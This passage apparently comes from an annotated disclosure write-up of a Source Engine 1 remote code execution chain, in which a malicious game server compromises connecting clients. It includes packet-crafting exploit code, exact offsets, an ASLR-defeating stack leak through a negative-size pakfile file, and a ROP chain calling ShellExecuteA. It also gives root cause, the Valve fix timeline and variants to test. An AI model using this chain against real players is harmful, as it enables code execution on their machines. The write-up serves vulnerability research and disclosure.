In release builds the Assert lines are not compiled in, for performance: the researcher's point is that game engines put speed first. So entnum is not constrained at all, and the array lookup can be made to read far outside the array. m_EntityCacheInfo lives inside the global structure entitylist in client.dll, at a fixed offset from the start of that module, so for any given build of client.dll you can calculate which entnum makes the lookup land on a chosen address. Each record looks like this:
// Cached info for networked entities.
// NOTE: Changing this changes the interface between engine & client
struct EntityCacheInfo_t
{
// Cached off because GetClientNetworkable is called a *lot*
IClientNetworkable *m_pNetworkable;
unsigned short m_BaseEntitiesIndex; // Index into m_BaseEntities (or m_BaseEntities.InvalidIndex() if none).
unsigned short m_bDormant; // cached dormant state - this is only a bit
};
Line by line:
- The comment explains the record is cached because the lookup is called very often.
m_pNetworkableis the pointer the function returns.m_BaseEntitiesIndexandm_bDormantare two small fields, each 2 bytes, holding an index and a cached "is this entity dormant" flag.
A pointer is 4 bytes and the two small fields add 4 more, so each record is 8 bytes. That means the pointer returned from the lookup can be any value that is aligned to an 8-byte boundary: the index is multiplied by 8, so only every eighth address is reachable. This alignment detail matters later.
The returned pointer is then used for a virtual call. The compiler looks inside the object for a pointer to its vtable, adds an offset to reach the right entry, and calls the function address stored there. In IDA the call appears as call dword ptr [eax+24]: it reads the function address from 24 bytes into the vtable. Since each entry is 4 bytes, that is vtable index 24 / 4 = 6.

The screenshot shows that disassembly: the call goes through a pointer read from the object, at offset 24. Knowing the index is 6 is what lets the researcher line up a fake vtable later.
So the first bug is in hand: the server can make the client treat an address of its choosing as an object, and then call a function through it. The next question is where to put a fake object at a known address.
Step 2: hiding a fake object in a replicated ConVar
The answer uses the fact that the server can set the value of any ConVar on the client, and most ConVar objects live in globals inside client.dll, at fixed offsets. The class is declared as:
class ConVar : public ConCommandBase, public IConVar
Line by line: ConVar inherits from ConCommandBase (the base class for anything you can type in the console) and from IConVar (an interface). Inheritance means the object's memory begins with the fields of its base classes, which is why the layout below starts with m_pNext.
The general layout is:
ConCommandBase *m_pNext; [0x00]
bool m_bRegistered; [0x04]
const cha *m_pszName; [0x08]
const char *m_pszHelpString; [0x0C]
int m_nFlags; [0x10]
ConVar *m_pParent; [0x14]
const char *m_pszDefaultValue; [0x18]
char *m_pszString; [0x1C]
Line by line, each line is a field and the offset in bytes from the start of the object:
m_pNextat0x00: a pointer to the next command in a linked list.m_bRegisteredat0x04: a true/false flag saying whether the command is registered.m_pszNameat0x08: a pointer to the variable's name.m_pszHelpStringat0x0C: a pointer to its help text.m_nFlagsat0x10: an integer of flags, such as whether the variable is replicated to clients.m_pParentat0x14: a pointer to a parent variable, if any.m_pszDefaultValueat0x18: a pointer to the default value string.m_pszStringat0x1C: a pointer to the current value string.
The target is m_pszString. The plan is to make the buggy lookup return the address of the m_pszString field itself, not the address of the ConVar. The engine will then believe that the 4 bytes at &m_pszString are the object's vtable pointer. Since the server can set the string value of a replicated ConVar, the server controls what m_pszString points to, and therefore controls the fake vtable pointer. The engine will then call the function at *((*m_pszString)+0x1C): it follows the fake vtable pointer, adds 28 bytes (7 entries of 4 bytes), and calls whatever address is there. If the server can put a chosen address at that spot, the server controls the instruction pointer.
There is a catch: the lookup can only return addresses aligned to 8 bytes, and m_pszString sits at offset 0x1C from the start of the ConVar. So a suitable ConVar is needed: one that is globally defined, replicated (so the server can set it), and whose m_pszString happens to land on an 8-byte boundary once the base of entitylist is taken into account. In x64dbg, the debugger, the lookup looks like this:

The screenshot shows the arithmetic behind the lookup, which the researcher writes as:
ecx+eax*8+28 where ecx is entitylist, eax is controlled by us
Line by line: ecx holds the address of entitylist; eax is the attacker-controlled entity number; multiplying by 8 accounts for the 8-byte records; adding 28 (0x1C) reaches the m_pNetworkable field of the record. In other words, the returned pointer is entitylist + entnum*8 + 0x1C.
After searching, the researcher found the replicated ConVar sv_mumble_positionalaudio in client.dll, at 0x10C6B788 in that build:
The screenshot shows that variable in the debugger at that address. Adding the offset of m_pszString gives 0x10C6B788 + 0x1C = 0x10C6b7A4. In this build entitylist is at 0xC580B4, which is aligned to 4 bytes rather than 8. The alignment check is:
>>> 0x10c6b7a4 % 0x8
4
Line by line: % is the remainder operator, so this asks what is left over when the address is divided by 8. The answer is 4, which at first looks like a failure, because the lookup can only produce addresses that divide exactly by 8. But entitylist itself is only aligned to 4 bytes, which adds an extra 4 to every address the lookup produces, and 4 plus 4 makes 8. So the candidate does align correctly, and the string value of sv_mumble_positionalaudio can be used as the fake object's vtable pointer, with its contents set by the server through replication.
Step 3: pointing the fake vtable at a global the server controls
The code path now is: the lookup returns pEnt, faked to point at &m_pszString; the code reads the first value inside m_pszString to get the vtable pointer; it adds 24 bytes to reach index 6 and calls the address stored there. The vtable pointer must point at memory the server controls, so that a chosen address can be written there. The researcher found a neat candidate: the tick count written by the NET_Tick packet.
bool NET_Tick::ReadFromBuffer( bf_read &buffer )
{
VPROF( "NET_Tick::ReadFromBuffer" );
m_nTick = buffer.ReadLong();
#if PROTOCOL_VERSION > 10
m_flHostFrameTime = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
m_flHostFrameTimeStdDeviation = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
#endif
return !buffer.IsOverflowed();
}
Line by line:
VPROF(...)is a profiling marker, used to measure how long the function takes.m_nTick = buffer.ReadLong();reads a 32-bit integer from the packet and stores it as the tick count. This value comes directly from the server, so the server chooses it entirely.- The
#if PROTOCOL_VERSION > 10block is compiled only for newer protocol versions; it reads two 16-bit values and scales them into floating-point frame-time figures. return !buffer.IsOverflowed();reports success only if the reader did not run past the end of the packet.
The important part is that m_nTick is an arbitrary 32-bit value chosen by the server, and it is stored in a global. Frida confirmed the value is completely controllable from the server's NET_Tick packet:

The screenshot shows the hook output confirming that the value the server sends ends up in that global. The packet is sent with this helper:
function SetClientTick(bf: bf_write, value: NativePointer) {
bf.WriteUBitLong(net_Tick, NETMSG_BITS)
// Tick count (Stored in m_ClientGlobalVariables->tickcount)
bf.WriteLong(value.toInt32())
// Write m_flHostFrameTime -> 1
bf.WriteUBitLong(1, 16);
// Write m_flHostFrameTimeStdDeviation -> 1
bf.WriteUBitLong(1, 16);
}
Line by line:
function SetClientTick(bf, value)takes a packet writerbfand the value to plant.bf.WriteUBitLong(net_Tick, NETMSG_BITS)writes the message type at the start of the packet, so the client knows this is a tick message.NETMSG_BITSis however many bits the message type occupies.bf.WriteLong(value.toInt32())writes the chosen value as a 32-bit integer. This is the value that lands in the tick count global.- The two
WriteUBitLong(1, 16)calls write the two frame-time fields as 1, simply to fill the packet out with valid data.
Now the trick: if the fake vtable pointer is set to &tickcount - 24, then the engine's "add 24 bytes and call what is there" lands exactly on tickcount, so the value the server planted there is treated as the function to call. The packet that triggers the original bug is built like this:
// craft the netmessage for the PacketEntities exploit
function SendExploit_PacketEntities(bf: bf_write, offset: number) {
bf.WriteUBitLong(svc_PacketEntities, NETMSG_BITS)
// Max entries
bf.WriteUBitLong(0, 11)
// Is Delta?
bf.WriteBit(0)
// Baseline?
bf.WriteBit(0)
// # of updated entries?
bf.WriteUBitLong(1, 11)
// Length of update packet?
bf.WriteUBitLong(55, 20)
// Update baseline?
bf.WriteBit(0)
// Data_in after here
bf.WriteUBitLong(3, 2) // our data_in is of type 32-bit integer
// >>>>>>>>>>>>>>>>>>>> The out of bounds type confusion is here <<<<<<<<<<<<<<<<<<<<
bf.WriteUBitLong(offset, 32)
// enterpvs flag
bf.WriteBit(0)
// zero for the rest of the packet
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
}
Line by line:
function SendExploit_PacketEntities(bf, offset)takes the packet writer and the entity number to abuse.bf.WriteUBitLong(svc_PacketEntities, NETMSG_BITS)writes the message type, marking this as a packet-entities message.bf.WriteUBitLong(0, 11)writes the maximum number of entries as 0.bf.WriteBit(0)writes the "is delta" flag as false.bf.WriteBit(0)writes the "baseline" flag as false.bf.WriteUBitLong(1, 11)says one entry is being updated.bf.WriteUBitLong(55, 20)gives the length of the update data.bf.WriteBit(0)writes the "update baseline" flag as false.bf.WriteUBitLong(3, 2)sets the data type to 3, which the comment says means a 32-bit integer.bf.WriteUBitLong(offset, 32)writes the entity number. This is the out-of-bounds value: it is the number that will be used as an unchecked index.bf.WriteBit(0)writes the "enter PVS" flag as false.- The eight
bf.WriteUBitLong(0, 32)calls pad the rest of the packet with zeros.
The resulting chain is: the lookup returns pEnt faked to point at &m_pszString; the first value inside m_pszString is the fake vtable pointer, set to &tickcount - 6*4; the code adds 24 bytes, reads the value there, and calls it, which is the value planted in tickcount. In the exploit script:
// The fake object pointer and the ROP chain are stored in this cvar
ReplicateCVar(pkts_to_send, "sv_mumble_positionalaudio", tickCountAddress)
// Set a known location inside of engine.dll so we can use it to point our vtable value to
SetClientTick(pkts_to_send, new NativePointer(0x41414141))
// Then use exploit in PacketEntities to fake the object pointer to point to sv_mumble_positionalaudio's string value
SendExploit_PacketEntities(pkts_to_send, 0x26DA)
Line by line:
ReplicateCVar(...)sets the value ofsv_mumble_positionalaudioon the client totickCountAddress. This is the fake vtable pointer: the string contents of the variable now hold the address of the tick count global, minus the 24-byte offset.SetClientTick(pkts_to_send, new NativePointer(0x41414141))plants the value0x41414141in the tick count global.0x41414141is the ASCII text "AAAA", a classic marker value used to prove that an attacker-controlled value reached a place it should not.SendExploit_PacketEntities(pkts_to_send, 0x26DA)sends the packet-entities message with entity number0x26DA, the value calculated to make the lookup land onsv_mumble_positionalaudio->m_pszString.
The result is a one-shot arbitrary execute:

The screenshot shows the debugger stopping at the ret instruction with 0x41414141 being popped off the stack, which proves the attacker's value reached the instruction pointer. The researcher notes that further down the stack the whole packet sits unchanged, giving plenty of room for a ROP chain.
A ROP chain (return-oriented programming) is a way to run code without writing new code: you line up a series of addresses of small existing code fragments, called gadgets, each of which ends in a ret instruction, so that each fragment hands control to the next. A stack pivot is a gadget that moves the stack pointer to a place the attacker controls, so the chain can start. The researcher found a pivot with the Ropper tool. But there is a problem: the addresses of all those gadgets, including the pivot, are randomised by ASLR. The value 0x41414141 is not a real address. To build a working chain, the attacker must know where the client's code actually sits in memory. That means going leak hunting.
Step 4: leaking uninitialised stack memory through the pakfile
The leak comes from the file upload path. Before uploading a file, the client checks its size:
int totalBytes = g_pFileSystem->Size( filename, pPathID );
if ( totalBytes >= (net_maxfilesize.GetInt()*1024*1024) )
{
ConMsg( "CreateFragmentsFromFile: '%s' size exceeds net_maxfilesize limit (%i MB).\n", filename, net_maxfilesize.GetInt() );
return false;
}
Line by line:
int totalBytes = g_pFileSystem->Size( filename, pPathID );asks the filesystem how big the file is, and stores the answer in a signed 32-bit integer.if ( totalBytes >= (net_maxfilesize.GetInt()*1024*1024) )compares that size against the configured maximum, converted from megabytes to bytes. The comparison is signed.- If the file is too big, the block prints a message and returns false, refusing the upload.
When the file lives inside the pakfile, the size function reads the ZIP structure, finds the file, and takes the size straight from the ZIP header:

The screenshot shows that line of code: lookup.m_nLength = zipFileHeader.uncompressedSize. In other words, the size is copied from a field in the ZIP file itself. Since the server supplies the map file, and the map contains the pakfile, the server controls the contents of that ZIP header completely, and therefore controls the full 32-bit value the size function returns.
Here is the flaw: totalBytes is signed, and the check is a signed comparison. A negative number is smaller than the maximum, so a negative size passes the check. If the server can put a file with a negative length into the ZIP, the client will happily upload it.
The upload itself happens in CNetChan::SendSubChannelData:
g_pFileSystem->Seek( data->file, offset, FILESYSTEM_SEEK_HEAD );
g_pFileSystem->Read( tmpbuf, length, data->file );
buf.WriteBytes( tmpbuf, length );
Line by line:
Seek(...)moves the read position in the file tooffset, counted from the start.Read( tmpbuf, length, data->file )reads up tolengthbytes from the file intotmpbuf, a buffer on the stack.WriteBytes( tmpbuf, length )copies those bytes into the outgoing network buffer.
The stack buffer is 0x100 bytes, and the file is read in 0x100-byte chunks. The subchannel treats the size as unsigned, so a negative size looks like an enormous positive one, and the code keeps reserving 0x100 bytes of stack and calling Read(). When the read position reaches the end of the pakfile, Read() stops writing anything into the stack buffer, but its return value is ignored and the buffer is sent anyway. The stack is not cleared between iterations, so whatever was left there by earlier function calls goes out to the server, 0x100 bytes at a time. Because the file size is far too large to ever finish sending, the client keeps sending fragments indefinitely.
After learning how the PKZIP format works, the researcher wrote a Python script that takes an existing BSP map and inserts a file with a negative size into its pakfile:

The screenshot shows the script and its result. With that map in place, the next step is to set up Frida and craft a packet asking the client to upload the hacked file from the pakfile. Turning on net_showfragments 1 in the game console then shows the fragments arriving:

The screenshot shows many file fragments being received; num = 1 means a file fragment. Left running, the client keeps re-leaking stack memory for as long as it stays connected. It happens slowly over time, and the report notes the player's game is not affected.
The researcher also hooked, with Frida, the function that reads the file's size, and the hook shows it returning a negative number:

Finally, he hooked the server-side function that processes incoming file fragments, and got this blob of data:
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 50 4b 05 06 00 00 00 00 06 00 06 00 f0 01 00 00 PK..............
00000010 86 62 00 00 20 00 58 5a 50 31 20 30 00 00 00 00 .b.. .XZP1 0....
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 fa 58 13 00 00 58 13 00 00 26 .......X...X...&
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 19 3b 00 ..............;.
00000050 00 6d 61 74 65 72 69 61 f0 5e 65 62 30 2e b9 05 .materia.^eb0...
00000060 60 55 65 62 9c 76 71 00 ce 92 61 62 f0 5e 65 62 `Ueb.vq...ab.^eb
00000070 08 0b b9 05 b8 00 7c 6d 30 2e b9 05 b9 00 7c 6d ......|m0.....|m
00000080 f0 5e 65 62 f0 5e 65 62 f0 89 61 62 f0 5e 65 62 .^eb.^eb..ab.^eb
00000090 44 00 00 00 60 55 65 62 60 55 65 62 00 00 00 00 D...`Ueb`Ueb....
000000a0 00 b5 4e 00 00 6d 61 74 65 72 69 61 6c 73 2f 6d ..N..materials/m
000000b0 61 70 73 2f 63 70 5f 63 ec 76 71 00 00 02 00 00 aps/cp_c.vq.....
000000c0 0a a4 bc 7b 30 2e b9 05 f0 70 88 68 40 00 00 00 ...{0....p.h@...
000000d0 00 a5 db 09 01 00 00 00 c4 dc 75 00 16 00 00 00 ..........u.....
000000e0 00 00 00 00 98 77 71 00 00 00 00 00 00 00 00 00 .....wq.........
000000f0 30 77 71 00 cb 27 b3 7b 00 03 00 00 97 27 b3 7b 0wq..'.{.....'.{
This is a hex dump: the left column is the offset in the buffer, the middle is the bytes in hexadecimal, and the right column shows the same bytes as text where they are printable. The data is uninitialised, and it contains pointer values that begin with 0x7B or 0x7C:
97 27 b3 7b0a a4 bc 7b05 b9 00 7c05 b8 00 7c
These are little-endian: the bytes are stored least significant first, so 97 27 b3 7b is the value 0x7bb32797. The offsets of these values in the 0x100-byte buffer are not always the same, so the exploit needs heuristics, rules of thumb, to pick the right one. Mapping the 32-bit values over time shows which ones quickly look like pointers and which do not. After some tinkering, the leak was made to reveal a known pointer value with about 100% certainty. Here is the final output against a typical user:
[*] Intercepting ReadBytes (frag = 0)
0x0: 0x14b5041
0x4: 0x14001402
0x8: 0x0
0xc: 0x0
0x10: 0xd99e8b00
0x14: 0xffff00d3
0x18: 0xffff00ff
0x1c: 0x8ff
0x20: 0x0
0x24: 0x0
0x28: 0x18000
0x2c: 0x74000000
0x30: 0x2e747365
0x34: 0x50747874
0x38: 0x6054b
0x3c: 0x1000000
0x40: 0x36000100
0x44: 0x27000000
[...]
0xcc: 0xafdd68
0xd0: 0xa097d0c
0xd4: 0xa097d00
0xd8: 0xab780c
0xdc: 0x4
0xe0: 0xab7778
0xe4: 0x7ac9ab8d
0xe8: 0x0
0xec: 0x80
0xf0: 0xab7804
0xf4: 0xafdd68
0xf8: 0xab77d4
0xfc: 0x0
[*] leakedPointer: 0x7ac9ab8d
[*] Engine_Leak2 offset: 0x23ab8d
[*] leakedBase: 0x7aa60000
Line by line: the first block lists 32-bit values found at each offset in the leaked buffer. The [...] marks a gap in the listing. The last four lines are the script's own output: it picked 0x7ac9ab8d as the leaked pointer, looked up the known offset of that location inside engine.dll (0x23ab8d), and subtracted one from the other to get 0x7aa60000, the base address where engine.dll is loaded in this client. Only one value had a lower 16-bit part that made sense, at offset 0xE4, so it was easy to pick out. Traced back in IDA, it is a return address left on the stack by an earlier call to bf_read::ReadBytes. The researcher labelled it Engine_Leak2 in IDA, and the ret-sync connection supplies its offset at runtime:
// calculate the engine base based on the RE'd address we know from the leak
static convertLeakToEngineBase(leakedPointer: NativePointer) {
console.log("[*] leakedPointer: " + leakedPointer)
// get the known offset of the leaked pointer in our engine.dll
let knownOffset = se.util.require_offset("Engine_Leak2");
console.log("[*] Engine_Leak2 offset: " + knownOffset)
// use the offset to find the base of the client's engine.dll
let leakedBase = leakedPointer.sub(knownOffset);
console.log("[*] leakedBase: " + leakedBase)
if ((leakedBase.toInt32() & 0xFFFF) !== 0) {
console.log("[!] Failed leak...")
return null;
}
console.log("[*] Got it!")
return leakedBase;
}
Line by line:
static convertLeakToEngineBase(leakedPointer)is a function that takes the leaked address and returns the module's base address.console.log("[*] leakedPointer: " + leakedPointer)prints the leaked address.se.util.require_offset("Engine_Leak2")asks the ret-sync extension for the offset of the labelled location insideengine.dll, and stores it inknownOffset.console.log("[*] Engine_Leak2 offset: " + knownOffset)prints that offset.leakedPointer.sub(knownOffset)subtracts the offset from the leaked address. Since the leaked address is the base plus the offset, the result is the base.if ((leakedBase.toInt32() & 0xFFFF) !== 0)checks that the result ends in zero in its lowest 16 bits. Modules are loaded on page boundaries, so a real base address should look like that; if it does not, the leak was wrong.- On failure it logs a message and returns null; on success it logs
Got it!and returns the base.
With the base of engine.dll known, every gadget inside that module can be located by adding its known offset. ASLR is defeated.
Step 5: putting the chain together
With a pointer leak and an arbitrary execute, a ROP chain can be built. Because Frida is a Python module at its core, the tool pyinstaller can turn the script into a single executable: copy the .exe onto a server, run the Source dedicated server, and launch the .exe to arm the server. The full sequence, as the researcher lists it:
- The player joins the exploitation server. The PoC script notices and starts exploiting the client.
- The player downloads the map file from the server. The map is specially prepared to install
test.txtinto theGAMEfilesystem path with the compromised length. - The server executes
RequestFileto ask fortest.txtfrom the pakfile. The client builds fragments for the file and starts sending 0x100-byte fragments, leaking stack contents. Among those contents is a return address from an earlier call tobf_read::ReadBytes. Calculations on the server turn this into a full ASLR bypass on the client. - The malicious server calculates the base of
engine.dllon the client from the leaked pointer. It can now build pointer values pointing anywhere insideengine.dll. Without the leak, the payload could not be built, because ASLR hides the location of every module. - The server builds a fake vtable pointer on the client by replicating a
ConVar. The PoC replicates the fake vtable ontosv_mumble_positionalaudio, a replicatedConVarinsideclient.dll. The location of its contents can be calculated fromsv_mumble_positionalaudio->m_pszStringand is used in later steps. - The server builds a ROP chain that calls the Windows API function
ShellExecuteA. The chain is used to get around NX, the protection that stops data being executed as code on modern Windows. It uses addresses inengine.dllobtained from the leak in step 3. If it runs, it can execute arbitrary code. - The script replicates the
ConVarsv_downloadurlonto the client with the valueC:/Windows/System32/winver.exe. The ROP chain uses this as the program to launch withShellExecuteA. ThisConVarlives insideengine.dll, so the pointersv_download_url->m_pszStringis at a location the attacker knows. - The server sends a crafted
NET_Tickmessage to setg_ClientGlobalVariables->tickcountto the address of a stack pivot gadget insideengine.dll, again found using the leak from step 3. This is another way to get a chosen pointer value into a known location insideengine.dll. - The next bug is triggered with a crafted
SVC_PacketEntitiesmessage, which callsCL_CopyExistingEntityon the client with the vulnerablem_nNewEntityvalue. That value abuses the array overrun inGetClientNetworkableinsideclient.dlland makes the returned pointer point atsv_mumble_positionalaudio->m_pszString, also insideclient.dll. At that location sits the fake object pointer created in step 4. The fake object pretends to be anIClientNetworkable*and redirects the virtual call to the value ing_ClientGlobalVariables->tickcount, so the instruction pointer can be set to any value theNET_Ticktrick planted. - Finally,
g_ClientGlobalVariables->tickcountpoints at a stack pivot gadget insideengine.dll. That pivots the stack to the ROP payload placed insv_mumble_positionalaudio->m_pszStringin step 4, and the chain starts running. It loads the arguments needed forShellExecuteAand launches whatever program path was replicated intosv_downloadurlin step 6, herewinver.exeas a proof of concept. The chain can run any code the attacker chooses, with full permission to access all of the user's files and data.
The whole exploitation happens automatically, using Frida injected into the dedicated server process to carry out every step. Here is a video of the full proof of concept:
Root cause
The memory corruption is an array index over/under-flow. The entity number u.m_nNewEntity comes from the network packet and is used as an index into m_EntityCacheInfo without any check, because the bounds Assert statements are compiled out of release builds. The pointer that comes back is then used for a virtual call, so an attacker who can place a controlled value at a known global can redirect that call. The design weakness that makes the fake object possible is that the server can set replicated ConVar values on the client, and ConVar objects sit at known global offsets in client.dll.
The information leak is a signedness mismatch. The file size is read from the ZIP header as a 32-bit value, checked with a signed comparison against net_maxfilesize, and then treated as unsigned by the subchannel. A negative size passes the check and makes the subchannel read past the end of the file. Because the return value of Read() is ignored and the stack buffer is not cleared, uninitialised stack memory is sent to the server.
ASLR is not defeated by the corruption alone; the leak is what supplies module addresses. The researcher notes that in CS:GO the classic route is xinput.dll, a module that asks to be loaded in a way that means the system does not randomise its base address, so one static ROP chain works on every client. TF2 has no xinput.dll, which makes it significantly harder to exploit and requires a pointer leak. The constraints here ruled out relying on xinput.dll.
Impact
A malicious server can achieve remote code execution on any client that connects to it, in all Source Engine 1 titles including TF2, CS:GO and L4D:2, with no game-specific functionality required and no special client configuration. The chain is designed to run automatically on any client connected to the server, with about 100% stability as one of the researcher's constraints. The ROP chain calls ShellExecuteA with a path the server controls through sv_downloadurl; in the proof of concept it runs winver.exe. The researcher states the chain can run any code the attacker chooses and has full permission to access all of the users files and data. The player's game is unaffected while the leak runs, because the fragments are sent slowly over time.
Fix
Valve fixed the bugs. The disclosure timeline records: reported to Valve through HackerOne on 2020-05-13; triaged 2020-05-18; notification that the bugs were fixed in Beta on 2021-04-28; bounty paid ($7500) and notification that the bugs were fixed in Retail on 2021-04-30. The report does not describe the specific code changes.
Variants to test
- Other packet fields used unchecked as array indices into global tables, where the bounds checks are
Assertstatements compiled out of release builds. A positive result is a controlled pointer returned from a lookup and used for a virtual call. - Other replicated
ConVarobjects whosem_pszStringlands on an 8-byte boundary relative toentitylist, usable as fake objects. A positive result is aConVarwhose string contents the server can set and whose address aligns correctly. - Other packet types that write an attacker-controlled 32-bit value to a known global, like
NET_Tickwritingm_nTick. A positive result is a global whose value can be set to an arbitrary address and later dereferenced as a function pointer. - Other signed length checks on values read from attacker-controlled file formats (ZIP headers, pakfiles, embedded archives) where the value is later treated as unsigned. A positive result is a negative size that passes the check and causes reads past the end of the file.
- Other read loops that ignore the return value of the read call and reuse an uncleared stack buffer. A positive result is repeated fragments containing uninitialised stack data, including pointer values.
- Other games or builds without a non-ASLR module such as
xinput.dll, where a leak is required. A positive result is a leaked return address whose offset maps to a known function and whose base is page aligned.
Glossary
- Address: the numbered location of a piece of data in a computer's memory.
- API: a set of functions an operating system or program offers so other programs can ask it to do things, such as
ShellExecuteAlaunching a program. - ASLR (Address Space Layout Randomisation): a protection that loads a program's code and data at unpredictable addresses each run, so an attacker cannot hard-code addresses.
- Assert: a developer check in code that a condition holds; in release builds these checks are usually removed for speed.
- BSP: the file format used for Source engine maps.
- Buffer: a fixed-size area of memory used to hold data temporarily.
- Client: the player's game program, as opposed to the server.
- ConVar: a configurable console variable in Source, whose value can be queried and, if replicated, set by the server.
- Delta: the difference in an entity's values between two points in time, sent instead of the whole object.
- Entity: an object in the game world, such as a player, a door or a weapon.
- Frida: a framework for injecting scripts into running programs to inspect and modify them.
- Gadget: a short sequence of existing instructions ending in a return, used as a building block in a ROP chain.
- Heap: the pool of memory used for data that must outlive a single function call.
- Hex dump: a display of raw bytes in hexadecimal, with offsets and printable text alongside.
- Hooking: intercepting a function call so your own code runs before or after it.
- IDA: a disassembler and debugger used for reverse engineering programs.
- Information leak: a bug that reveals memory contents, such as a real address, to an attacker.
- Little-endian: a byte order where the least significant byte is stored first.
- Memory corruption: a bug that lets an attacker change memory they should not be able to change.
- Module: a single file loaded into a process, such as
engine.dllorclient.dll. - Net channel: the object that manages a client's network connection.
- NX: a protection that marks data memory as non-executable, so injected data cannot simply be run as code.
- Packet: a small unit of data sent over a network.
- Pakfile: a ZIP archive embedded inside a map file, holding extra files.
- Pointer: a value that is the address of another piece of data.
- Polymorphism: an object-oriented feature where different object types respond to the same call in their own way, implemented in C++ with vtables.
- Queryable object: an object whose value can be requested over the network, such as a
ConVar. - RCE (remote code execution): running code of your choosing on someone else's machine over a network.
- Replicated: a setting that lets the server push a value to clients.
- ret-sync: a tool that lets a debugger or scripting tool look up function addresses from an IDA database.
- ROP (return-oriented programming): building a program out of existing code fragments that each end in a return.
- Server: the machine that hosts the game session and sends updates to clients.
- Signed / unsigned: whether a number is allowed to be negative (signed) or only non-negative (unsigned); the same 32 bits mean different things under each.
- Stack: the area of memory a program uses for function calls and local variables.
- Stack pivot: a gadget that moves the stack pointer to memory the attacker controls, so a ROP chain can start.
- Type confusion: treating data of one type as if it were another, here treating a string pointer as an object pointer.
- Use-after-free: using an object after it has been freed, which can let an attacker control what is there.
- Virtual function / vtable: a function looked up through a per-object table of function addresses, so the right version is called for the object's type.
- x64dbg: a debugger for Windows programs.
- ZIP header: the part of a ZIP archive that records each file's name, size and location.